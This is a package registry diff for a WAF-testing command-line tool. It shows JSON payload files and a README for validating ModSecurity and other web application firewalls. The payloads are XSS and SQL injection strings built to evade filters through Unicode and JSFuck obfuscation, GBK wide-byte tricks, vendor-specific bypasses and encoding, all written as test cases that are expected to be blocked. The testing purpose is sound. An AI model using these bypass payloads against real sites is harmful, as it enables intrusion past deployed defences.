@waftester/cli 2.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (141) hide show
  1. package/LICENSE +80 -0
  2. package/LICENSE-COMMUNITY +28 -0
  3. package/README.md +121 -0
  4. package/bin/cli.js +152 -0
  5. package/package.json +52 -0
  6. package/payloads/community/README.md +45 -0
  7. package/payloads/community/ai/ml-poisoning.json +173 -0
  8. package/payloads/community/ai/prompt-injection.json +247 -0
  9. package/payloads/community/ai/workflow-abuse.json +222 -0
  10. package/payloads/community/auth/jwt.json +855 -0
  11. package/payloads/community/auth/login-bypass.json +623 -0
  12. package/payloads/community/auth/mfa.json +402 -0
  13. package/payloads/community/auth/oauth.json +421 -0
  14. package/payloads/community/auth/open-redirect.json +1028 -0
  15. package/payloads/community/auth/session.json +404 -0
  16. package/payloads/community/cache/deception.json +402 -0
  17. package/payloads/community/cache/poisoning.json +403 -0
  18. package/payloads/community/deserialization/gadget.json +375 -0
  19. package/payloads/community/deserialization/prototype.json +370 -0
  20. package/payloads/community/fuzz/content-type.json +397 -0
  21. package/payloads/community/fuzz/headers.json +401 -0
  22. package/payloads/community/fuzz/methods.json +397 -0
  23. package/payloads/community/fuzz/obfuscation.json +362 -0
  24. package/payloads/community/fuzz/special-chars.json +740 -0
  25. package/payloads/community/fuzz/waf-bypass.json +452 -0
  26. package/payloads/community/graphql/batching-abuse.json +271 -0
  27. package/payloads/community/graphql/depth-limit.json +271 -0
  28. package/payloads/community/graphql/introspection.json +267 -0
  29. package/payloads/community/injection/crlf.json +569 -0
  30. package/payloads/community/injection/ldap.json +357 -0
  31. package/payloads/community/injection/nosqli.json +529 -0
  32. package/payloads/community/injection/oscmd.json +662 -0
  33. package/payloads/community/injection/rce-polyglots.json +452 -0
  34. package/payloads/community/injection/sqli.json +681 -0
  35. package/payloads/community/injection/ssti.json +584 -0
  36. package/payloads/community/injection/upload-attacks.json +632 -0
  37. package/payloads/community/injection/xpath.json +357 -0
  38. package/payloads/community/injection/xxe.json +716 -0
  39. package/payloads/community/logic/forced-browsing.json +405 -0
  40. package/payloads/community/logic/idor.json +1026 -0
  41. package/payloads/community/logic/privilege.json +337 -0
  42. package/payloads/community/media/exif-injection.json +225 -0
  43. package/payloads/community/media/metadata-poison.json +239 -0
  44. package/payloads/community/protocol/http-smuggling.json +798 -0
  45. package/payloads/community/protocol/http2-attacks.json +382 -0
  46. package/payloads/community/protocol/websocket-abuse.json +375 -0
  47. package/payloads/community/rate-limit/burst-simulation.json +286 -0
  48. package/payloads/community/rate-limit/bypass-attempts.json +326 -0
  49. package/payloads/community/rate-limit/zone-tests.json +332 -0
  50. package/payloads/community/services/authentik.json +415 -0
  51. package/payloads/community/services/immich.json +423 -0
  52. package/payloads/community/services/n8n.json +366 -0
  53. package/payloads/community/sqli-basic.json +182 -0
  54. package/payloads/community/ssrf/cloud-metadata.json +999 -0
  55. package/payloads/community/ssrf/dns-rebinding.json +503 -0
  56. package/payloads/community/ssrf/internal-networks.json +627 -0
  57. package/payloads/community/ssrf/protocol-smuggling.json +350 -0
  58. package/payloads/community/ssti/multi-language-templates.json +191 -0
  59. package/payloads/community/ssti/python-templates.json +200 -0
  60. package/payloads/community/traversal/basic.json +675 -0
  61. package/payloads/community/traversal/cloud-credentials.json +107 -0
  62. package/payloads/community/traversal/config-files.json +193 -0
  63. package/payloads/community/traversal/encoding.json +558 -0
  64. package/payloads/community/traversal/null-byte.json +105 -0
  65. package/payloads/community/traversal/symlink.json +93 -0
  66. package/payloads/community/traversal/unicode.json +134 -0
  67. package/payloads/community/traversal/unix-advanced.json +195 -0
  68. package/payloads/community/traversal/windows-advanced.json +195 -0
  69. package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
  70. package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
  71. package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
  72. package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
  73. package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
  74. package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
  75. package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
  76. package/payloads/community/waf-bypass/unicode-charset.json +152 -0
  77. package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
  78. package/payloads/community/waf-validation/README.md +172 -0
  79. package/payloads/community/waf-validation/bypass-techniques.json +272 -0
  80. package/payloads/community/waf-validation/custom-rules.json +952 -0
  81. package/payloads/community/waf-validation/evasion-techniques.json +272 -0
  82. package/payloads/community/waf-validation/modsecurity-core.json +151 -0
  83. package/payloads/community/waf-validation/owasp-top10.json +236 -0
  84. package/payloads/community/waf-validation/regression-tests.json +227 -0
  85. package/payloads/community/xss/csp-bypass.json +431 -0
  86. package/payloads/community/xss/dom.json +389 -0
  87. package/payloads/community/xss/filter-bypass.json +1242 -0
  88. package/payloads/community/xss/mutation.json +263 -0
  89. package/payloads/community/xss/polyglots.json +371 -0
  90. package/payloads/community/xss/reflected.json +187 -0
  91. package/payloads/community/xss/stored.json +330 -0
  92. package/payloads/crlf-injection.json +182 -0
  93. package/payloads/ids-map.json +155 -0
  94. package/payloads/ldap-injection.json +182 -0
  95. package/payloads/nosql-injection.json +227 -0
  96. package/payloads/prototype-pollution.json +182 -0
  97. package/payloads/request-smuggling.json +182 -0
  98. package/payloads/version.json +28 -0
  99. package/payloads/xss-advanced.json +227 -0
  100. package/templates/README.md +221 -0
  101. package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
  102. package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
  103. package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
  104. package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
  105. package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
  106. package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
  107. package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
  108. package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
  109. package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
  110. package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
  111. package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
  112. package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
  113. package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
  114. package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
  115. package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
  116. package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
  117. package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
  118. package/templates/output/asff.tmpl +61 -0
  119. package/templates/output/csv.tmpl +4 -0
  120. package/templates/output/junit.tmpl +34 -0
  121. package/templates/output/markdown-report.tmpl +92 -0
  122. package/templates/output/slack-notification.tmpl +95 -0
  123. package/templates/output/text-summary.tmpl +56 -0
  124. package/templates/overrides/api-only.yaml +130 -0
  125. package/templates/overrides/crs-tuning.yaml +204 -0
  126. package/templates/overrides/false-positive-suppression.yaml +159 -0
  127. package/templates/policies/owasp-top10.yaml +152 -0
  128. package/templates/policies/pci-dss.yaml +124 -0
  129. package/templates/policies/permissive.yaml +40 -0
  130. package/templates/policies/standard.yaml +57 -0
  131. package/templates/policies/strict.yaml +72 -0
  132. package/templates/report-configs/compliance.yaml +173 -0
  133. package/templates/report-configs/dark.yaml +136 -0
  134. package/templates/report-configs/enterprise.yaml +175 -0
  135. package/templates/report-configs/minimal.yaml +84 -0
  136. package/templates/report-configs/print.yaml +139 -0
  137. package/templates/workflows/api-scan.yaml +132 -0
  138. package/templates/workflows/ci-gate.yaml +129 -0
  139. package/templates/workflows/full-scan.yaml +133 -0
  140. package/templates/workflows/quick-probe.yaml +80 -0
  141. package/templates/workflows/waf-detection.yaml +89 -0
@@ -0,0 +1,152 @@
1
+ [
2
+ {
3
+ "id": "UNI-XSS-001",
4
+ "payload": "<script>\\u0061\\u006C\\u0065\\u0072\\u0074(1)</script>",
5
+ "tags": ["unicode", "escape", "basic"],
6
+ "expected_block": true,
7
+ "severity_hint": "High",
8
+ "notes": "Unicode escape for 'alert' - basic bypass",
9
+ "category": "WAF-Bypass",
10
+ "source": "PayloadsAllTheThings"
11
+ },
12
+ {
13
+ "id": "UNI-XSS-002",
14
+ "payload": "<ſvg onload=alert(1)>",
15
+ "tags": ["unicode", "case-transform", "svg"],
16
+ "expected_block": true,
17
+ "severity_hint": "Critical",
18
+ "notes": "Long S (ſ) transforms to 'S' via toUpperCase() - becomes <SVG>",
19
+ "category": "WAF-Bypass",
20
+ "source": "PayloadsAllTheThings"
21
+ },
22
+ {
23
+ "id": "UNI-XSS-003",
24
+ "payload": "<ıframe onload=alert(1)>",
25
+ "tags": ["unicode", "case-transform", "iframe"],
26
+ "expected_block": true,
27
+ "severity_hint": "Critical",
28
+ "notes": "Dotless I (ı) transforms to 'I' via toUpperCase() - becomes <IFRAME>",
29
+ "category": "WAF-Bypass",
30
+ "source": "PayloadsAllTheThings"
31
+ },
32
+ {
33
+ "id": "UNI-XSS-004",
34
+ "payload": "javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()",
35
+ "tags": ["unicode", "katakana", "obfuscation", "advanced"],
36
+ "expected_block": true,
37
+ "severity_hint": "Critical",
38
+ "notes": "Katakana-based alert() using aemkei/katakana.js technique",
39
+ "category": "WAF-Bypass",
40
+ "source": "PayloadsAllTheThings"
41
+ },
42
+ {
43
+ "id": "UNI-XSS-005",
44
+ "payload": "𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+\"(𒀀)\")()",
45
+ "tags": ["unicode", "cuneiform", "obfuscation", "advanced"],
46
+ "expected_block": true,
47
+ "severity_hint": "Critical",
48
+ "notes": "Cuneiform script obfuscated alert() - extreme bypass",
49
+ "category": "WAF-Bypass",
50
+ "source": "PayloadsAllTheThings"
51
+ },
52
+ {
53
+ "id": "UNI-XSS-006",
54
+ "payload": "[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()",
55
+ "tags": ["unicode", "jsfuck", "obfuscation", "advanced"],
56
+ "expected_block": true,
57
+ "severity_hint": "Critical",
58
+ "notes": "JSFuck - JavaScript using only []()!+ characters - alert(1)",
59
+ "category": "WAF-Bypass",
60
+ "source": "PayloadsAllTheThings/JSFuck"
61
+ },
62
+ {
63
+ "id": "UNI-XSS-007",
64
+ "payload": "%26%2397;lert(1)",
65
+ "tags": ["unicode", "html-entity", "encoded"],
66
+ "expected_block": true,
67
+ "severity_hint": "High",
68
+ "notes": "Double-encoded HTML entity for 'a' in alert",
69
+ "category": "WAF-Bypass",
70
+ "source": "PayloadsAllTheThings"
71
+ },
72
+ {
73
+ "id": "UNI-XSS-008",
74
+ "payload": "&#97;&#108;&#101;&#114;&#116;",
75
+ "tags": ["unicode", "decimal-entity", "basic"],
76
+ "expected_block": true,
77
+ "severity_hint": "High",
78
+ "notes": "Decimal HTML entities spelling 'alert'",
79
+ "category": "WAF-Bypass",
80
+ "source": "PayloadsAllTheThings"
81
+ },
82
+ {
83
+ "id": "UNI-XSS-009",
84
+ "payload": "></script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>",
85
+ "tags": ["unicode", "double-encoded", "svg"],
86
+ "expected_block": true,
87
+ "severity_hint": "Critical",
88
+ "notes": "Double-encoded entities in SVG onload",
89
+ "category": "WAF-Bypass",
90
+ "source": "PayloadsAllTheThings"
91
+ },
92
+ {
93
+ "id": "UNI-XSS-010",
94
+ "payload": "<script>alert(1)</script>",
95
+ "tags": ["unicode", "fullwidth", "less-than"],
96
+ "expected_block": true,
97
+ "severity_hint": "High",
98
+ "notes": "Fullwidth Unicode < and > (U+FF1C, U+FF1E)",
99
+ "category": "WAF-Bypass",
100
+ "source": "PayloadsAllTheThings"
101
+ },
102
+ {
103
+ "id": "CHARSET-SQL-001",
104
+ "payload": "%bf%27 OR 1=1--",
105
+ "tags": ["charset", "gbk", "wide-byte", "sqli"],
106
+ "expected_block": true,
107
+ "severity_hint": "Critical",
108
+ "notes": "GBK wide byte injection - %bf%27 forms valid multibyte + quote",
109
+ "category": "WAF-Bypass",
110
+ "source": "PayloadsAllTheThings"
111
+ },
112
+ {
113
+ "id": "CHARSET-SQL-002",
114
+ "payload": "%a1%27 OR 1=1--",
115
+ "tags": ["charset", "gbk", "wide-byte", "sqli"],
116
+ "expected_block": true,
117
+ "severity_hint": "Critical",
118
+ "notes": "GBK wide byte variant - %a1%27",
119
+ "category": "WAF-Bypass",
120
+ "source": "PayloadsAllTheThings"
121
+ },
122
+ {
123
+ "id": "CHARSET-SQL-003",
124
+ "payload": "%8C%A8%27 OR 1=1--",
125
+ "tags": ["charset", "gbk", "wide-byte", "sqli"],
126
+ "expected_block": true,
127
+ "severity_hint": "Critical",
128
+ "notes": "GBK wide byte triple-byte variant",
129
+ "category": "WAF-Bypass",
130
+ "source": "PayloadsAllTheThings"
131
+ },
132
+ {
133
+ "id": "CHARSET-SQL-004",
134
+ "payload": "%A8%27 OR 1=1--",
135
+ "tags": ["charset", "gbk", "wide-byte", "sqli"],
136
+ "expected_block": true,
137
+ "severity_hint": "Critical",
138
+ "notes": "GBK wide byte - eats escape backslash",
139
+ "category": "WAF-Bypass",
140
+ "source": "PayloadsAllTheThings"
141
+ },
142
+ {
143
+ "id": "CHARSET-SQL-005",
144
+ "payload": "%bf%5c' OR 1=1--",
145
+ "tags": ["charset", "gbk", "backslash-eat", "sqli"],
146
+ "expected_block": true,
147
+ "severity_hint": "Critical",
148
+ "notes": "GBK wide byte - consumes backslash escape",
149
+ "category": "WAF-Bypass",
150
+ "source": "PayloadsAllTheThings"
151
+ }
152
+ ]
@@ -0,0 +1,72 @@
1
+ [
2
+ {
3
+ "id": "WAF-INCAP-001",
4
+ "payload": "<svg onload\\r\\n=$.globalEval(\"al\"+\"ert()\");>",
5
+ "tags": ["incapsula", "waf-bypass", "newline", "2019"],
6
+ "expected_block": true,
7
+ "severity_hint": "Critical",
8
+ "notes": "Incapsula bypass - newline in event handler (May 2019)",
9
+ "category": "WAF-Bypass",
10
+ "source": "PayloadsAllTheThings"
11
+ },
12
+ {
13
+ "id": "WAF-INCAP-002",
14
+ "payload": "anythinglr00</script><script>alert(document.domain)</script>uxldz",
15
+ "tags": ["incapsula", "waf-bypass", "script-break", "2018"],
16
+ "expected_block": true,
17
+ "severity_hint": "Critical",
18
+ "notes": "Incapsula bypass - garbage prefix/suffix (Mar 2018)",
19
+ "category": "WAF-Bypass",
20
+ "source": "PayloadsAllTheThings"
21
+ },
22
+ {
23
+ "id": "WAF-INCAP-003",
24
+ "payload": "<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>",
25
+ "tags": ["incapsula", "waf-bypass", "data-uri", "base64", "2018"],
26
+ "expected_block": true,
27
+ "severity_hint": "Critical",
28
+ "notes": "Incapsula bypass - data URI with multiple semicolons (Sep 2018)",
29
+ "category": "WAF-Bypass",
30
+ "source": "PayloadsAllTheThings"
31
+ },
32
+ {
33
+ "id": "WAF-AKAMAI-001",
34
+ "payload": "?\"></script><base%20c%3D=href%3Dhttps:\\mysite>",
35
+ "tags": ["akamai", "waf-bypass", "base-tag", "2018"],
36
+ "expected_block": true,
37
+ "severity_hint": "Critical",
38
+ "notes": "Akamai bypass - base tag injection (Jun 2018)",
39
+ "category": "WAF-Bypass",
40
+ "source": "PayloadsAllTheThings"
41
+ },
42
+ {
43
+ "id": "WAF-AKAMAI-002",
44
+ "payload": "<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>",
45
+ "tags": ["akamai", "waf-bypass", "details", "case-toggle", "2018"],
46
+ "expected_block": true,
47
+ "severity_hint": "Critical",
48
+ "notes": "Akamai bypass - details tag with newlines (Oct 2018)",
49
+ "category": "WAF-Bypass",
50
+ "source": "PayloadsAllTheThings"
51
+ },
52
+ {
53
+ "id": "WAF-WORDFENCE-001",
54
+ "payload": "<a href=javas&#99;ript:alert(1)>",
55
+ "tags": ["wordfence", "waf-bypass", "entity", "2018"],
56
+ "expected_block": true,
57
+ "severity_hint": "Critical",
58
+ "notes": "WordFence bypass - HTML entity in javascript protocol (Sep 2018)",
59
+ "category": "WAF-Bypass",
60
+ "source": "PayloadsAllTheThings"
61
+ },
62
+ {
63
+ "id": "WAF-FORTIWEB-001",
64
+ "payload": "\\u003e\\u003c\\u0068\\u0031 onclick=alert('1')\\u003e",
65
+ "tags": ["fortiweb", "waf-bypass", "unicode-escape", "2019"],
66
+ "expected_block": true,
67
+ "severity_hint": "Critical",
68
+ "notes": "Fortiweb bypass - Unicode escape sequences (Jul 2019)",
69
+ "category": "WAF-Bypass",
70
+ "source": "PayloadsAllTheThings"
71
+ }
72
+ ]
@@ -0,0 +1,172 @@
1
+ # WAF Validation Test Suite
2
+
3
+ ## Overview
4
+
5
+ Enterprise-grade security testing payloads specifically designed to validate nginx + ModSecurity WAF configurations. These tests ensure your WAF is properly configured, blocks malicious requests, and doesn't create false positives on legitimate traffic.
6
+
7
+ ## Test Categories
8
+
9
+ ### 1. `modsecurity-core.json` (15 payloads)
10
+ Tests for OWASP Core Rule Set (CRS) categories:
11
+ - CRS 941: Cross-Site Scripting (XSS)
12
+ - CRS 942: SQL Injection
13
+ - CRS 930: Local File Inclusion (LFI)
14
+ - CRS 934: Server-Side Request Forgery (SSRF)
15
+ - CRS 932: Remote Code Execution (RCE)
16
+ - CRS 931: XML External Entities (XXE)
17
+ - CRS 944: Server-Side Template Injection (SSTI)
18
+ - CRS 913: Scanner Detection
19
+
20
+ ### 2. `custom-rules.json` (23 payloads)
21
+ Tests for custom ModSecurity rules (9999001-9999006):
22
+ - **9999001**: Path traversal patterns (`../`)
23
+ - **9999002**: Command injection (`; | \` $()`)
24
+ - **9999003**: Null bytes in webhooks (`%00`)
25
+ - **9999004**: Immich asset path traversal
26
+ - **9999005**: Static asset logging (skip logging)
27
+ - **9999006**: DNS rebinding / host header attacks
28
+
29
+ ### 3. `bypass-techniques.json` (30 payloads)
30
+ Common WAF bypass techniques:
31
+ - Case variation (sElEcT, SCRIPT)
32
+ - URL encoding (single, double)
33
+ - Unicode encoding (fullwidth, homoglyphs)
34
+ - Null byte injection
35
+ - Comment insertion (SQL, HTML)
36
+ - HTTP Parameter Pollution
37
+ - Protocol handler abuse
38
+
39
+ ### 4. `evasion-techniques.json` (30 payloads)
40
+ Advanced evasion techniques:
41
+ - Chunked transfer encoding
42
+ - Multiline header injection
43
+ - String concatenation
44
+ - Scientific notation
45
+ - Buffer overflow attempts
46
+ - Content-Length mismatch
47
+ - JSON/NoSQL injection
48
+ - Multipart form abuse
49
+ - Charset encoding tricks (UTF-7, overlong UTF-8)
50
+ - HTTP method override
51
+ - Path confusion
52
+ - Request smuggling
53
+
54
+ ### 5. `owasp-top10.json` (26 payloads)
55
+ OWASP Top 10 2021 coverage:
56
+ - A01: Broken Access Control
57
+ - A02: Cryptographic Failures (info)
58
+ - A03: Injection
59
+ - A04: Insecure Design
60
+ - A05: Security Misconfiguration
61
+ - A06: Vulnerable Components
62
+ - A07: Authentication Failures
63
+ - A08: Software Data Integrity
64
+ - A09: Logging Failures (Log4Shell)
65
+ - A10: SSRF
66
+
67
+ ### 6. `regression-tests.json` (25 payloads)
68
+ Legitimate traffic validation (should NOT be blocked):
69
+ - API health checks
70
+ - Normal login requests
71
+ - Pagination queries
72
+ - Search with SQL-like words
73
+ - Apostrophe in names (O'Brien)
74
+ - HTML content in JSON
75
+ - Email addresses
76
+ - Code/formula content
77
+ - Service-specific endpoints (n8n, Immich, Authentik, AgreementPulse)
78
+
79
+ ## Usage
80
+
81
+ ### Quick Validation
82
+ ```powershell
83
+ # Test WAF with quick profile
84
+ .\Run-SecurityTests.ps1 test -Quick -TargetUrl https://your-waf.example.com
85
+ ```
86
+
87
+ ### Full WAF Validation
88
+ ```powershell
89
+ # Test all WAF validation payloads
90
+ .\Run-SecurityTests.ps1 test -Category WAF-Validation -TargetUrl https://your-waf.example.com
91
+ ```
92
+
93
+ ### Regression Testing
94
+ ```powershell
95
+ # Ensure WAF doesn't block legitimate requests
96
+ .\Run-SecurityTests.ps1 test -Category Regression -TargetUrl https://your-waf.example.com
97
+ ```
98
+
99
+ ### OWASP Top 10 Coverage
100
+ ```powershell
101
+ # Full OWASP Top 10 coverage test
102
+ .\Run-SecurityTests.ps1 test -Category OWASP-Top10 -TargetUrl https://your-waf.example.com
103
+ ```
104
+
105
+ ## Expected Results
106
+
107
+ ### For Security Payloads
108
+ - **Expected**: HTTP 403 (Blocked)
109
+ - **Failure**: HTTP 200/other (WAF bypass)
110
+
111
+ ### For Regression Tests
112
+ - **Expected**: HTTP 200 (Allowed)
113
+ - **Failure**: HTTP 403 (False positive)
114
+
115
+ ## CI/CD Integration
116
+
117
+ Add to your pipeline:
118
+ ```yaml
119
+ - name: WAF Validation
120
+ run: |
121
+ cd tests
122
+ ./Run-SecurityTests.ps1 test -Category WAF-Validation -OutputFormat JUnit -OutputPath results.xml
123
+ ./Run-SecurityTests.ps1 test -Category Regression -OutputFormat JUnit -OutputPath regression.xml
124
+ ```
125
+
126
+ ## Adding New Tests
127
+
128
+ ### Payload Schema
129
+ ```json
130
+ {
131
+ "id": "UNIQUE-ID-001",
132
+ "payload": "GET /path?param=<attack-vector>",
133
+ "tags": ["category", "subcategory", "quick"],
134
+ "expected_block": true,
135
+ "severity_hint": "Critical|High|Medium|Low",
136
+ "notes": "Description of what this tests",
137
+ "category": "WAF-Validation|WAF-Bypass|Regression|OWASP-Top10"
138
+ }
139
+ ```
140
+
141
+ ### Naming Convention
142
+ - `CRS-{rule}-{variant}`: OWASP CRS rule tests
143
+ - `RULE-{id}-{variant}`: Custom rule tests
144
+ - `BYPASS-{technique}-{variant}`: Bypass technique tests
145
+ - `EVASION-{technique}-{variant}`: Evasion technique tests
146
+ - `OWASP-{category}-{variant}`: OWASP Top 10 tests
147
+ - `LEGIT-{service}-{variant}`: Regression/legitimate tests
148
+
149
+ ## Coverage Matrix
150
+
151
+ | Attack Category | CRS Rules | Custom Rules | Bypass Tests | Total |
152
+ |-----------------|-----------|--------------|--------------|-------|
153
+ | SQL Injection | 942 | - | 8+ | 15+ |
154
+ | XSS | 941 | - | 6+ | 12+ |
155
+ | Path Traversal | 930 | 9999001,4 | 4+ | 10+ |
156
+ | Command Injection| 932 | 9999002 | 4+ | 8+ |
157
+ | SSRF | 934 | - | 6+ | 10+ |
158
+ | XXE | 931 | - | 2+ | 4+ |
159
+ | SSTI | 944 | - | 2+ | 4+ |
160
+ | DNS Rebinding | - | 9999006 | 2+ | 4+ |
161
+ | Request Smuggling| - | - | 4+ | 4+ |
162
+
163
+ ## Total Payload Count
164
+
165
+ - **modsecurity-core.json**: 15 payloads
166
+ - **custom-rules.json**: 23 payloads
167
+ - **bypass-techniques.json**: 30 payloads
168
+ - **evasion-techniques.json**: 30 payloads
169
+ - **owasp-top10.json**: 26 payloads
170
+ - **regression-tests.json**: 25 payloads
171
+
172
+ **Total: 149 enterprise-grade WAF validation payloads**
@@ -0,0 +1,272 @@
1
+ [
2
+ {
3
+ "id": "BYPASS-CASE-001",
4
+ "payload": "GET /?id=1' oR '1'='1",
5
+ "tags": ["bypass", "case-variation", "sqli", "quick"],
6
+ "expected_block": true,
7
+ "severity_hint": "Critical",
8
+ "notes": "Mixed case SQLi bypass attempt",
9
+ "category": "WAF-Bypass"
10
+ },
11
+ {
12
+ "id": "BYPASS-CASE-002",
13
+ "payload": "GET /?q=<ScRiPt>alert(1)</ScRiPt>",
14
+ "tags": ["bypass", "case-variation", "xss", "quick"],
15
+ "expected_block": true,
16
+ "severity_hint": "Critical",
17
+ "notes": "Mixed case XSS bypass attempt",
18
+ "category": "WAF-Bypass"
19
+ },
20
+ {
21
+ "id": "BYPASS-ENCODE-001",
22
+ "payload": "GET /?id=%27%20OR%20%271%27%3D%271",
23
+ "tags": ["bypass", "url-encoding", "sqli", "quick"],
24
+ "expected_block": true,
25
+ "severity_hint": "Critical",
26
+ "notes": "URL-encoded SQLi: ' OR '1'='1",
27
+ "category": "WAF-Bypass"
28
+ },
29
+ {
30
+ "id": "BYPASS-ENCODE-002",
31
+ "payload": "GET /?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E",
32
+ "tags": ["bypass", "url-encoding", "xss", "quick"],
33
+ "expected_block": true,
34
+ "severity_hint": "Critical",
35
+ "notes": "URL-encoded XSS",
36
+ "category": "WAF-Bypass"
37
+ },
38
+ {
39
+ "id": "BYPASS-ENCODE-003",
40
+ "payload": "GET /?id=%2527%2520OR%2520%25271%2527%253D%25271",
41
+ "tags": ["bypass", "double-encoding", "sqli", "quick"],
42
+ "expected_block": true,
43
+ "severity_hint": "Critical",
44
+ "notes": "Double URL-encoded SQLi",
45
+ "category": "WAF-Bypass"
46
+ },
47
+ {
48
+ "id": "BYPASS-ENCODE-004",
49
+ "payload": "GET /?q=\\x3cscript\\x3ealert(1)\\x3c/script\\x3e",
50
+ "tags": ["bypass", "hex-encoding", "xss"],
51
+ "expected_block": true,
52
+ "severity_hint": "Critical",
53
+ "notes": "Hex-escaped XSS",
54
+ "category": "WAF-Bypass"
55
+ },
56
+ {
57
+ "id": "BYPASS-UNICODE-001",
58
+ "payload": "GET /?q=<script>alert(1)</script>",
59
+ "tags": ["bypass", "unicode", "xss", "quick"],
60
+ "expected_block": true,
61
+ "severity_hint": "Critical",
62
+ "notes": "Fullwidth Unicode XSS bypass",
63
+ "category": "WAF-Bypass"
64
+ },
65
+ {
66
+ "id": "BYPASS-UNICODE-002",
67
+ "payload": "GET /?id=1' OR '1'='1",
68
+ "tags": ["bypass", "unicode", "sqli"],
69
+ "expected_block": true,
70
+ "severity_hint": "Critical",
71
+ "notes": "Fullwidth Unicode SQLi OR",
72
+ "category": "WAF-Bypass"
73
+ },
74
+ {
75
+ "id": "BYPASS-COMMENT-001",
76
+ "payload": "GET /?id=1'/**/OR/**/1=1--",
77
+ "tags": ["bypass", "comment-injection", "sqli", "quick"],
78
+ "expected_block": true,
79
+ "severity_hint": "Critical",
80
+ "notes": "SQL comment bypass",
81
+ "category": "WAF-Bypass"
82
+ },
83
+ {
84
+ "id": "BYPASS-COMMENT-002",
85
+ "payload": "GET /?q=<scr<!--comment-->ipt>alert(1)</script>",
86
+ "tags": ["bypass", "comment-injection", "xss"],
87
+ "expected_block": true,
88
+ "severity_hint": "Critical",
89
+ "notes": "HTML comment XSS bypass",
90
+ "category": "WAF-Bypass"
91
+ },
92
+ {
93
+ "id": "BYPASS-WHITESPACE-001",
94
+ "payload": "GET /?id=1'\t\nOR\t\n'1'='1",
95
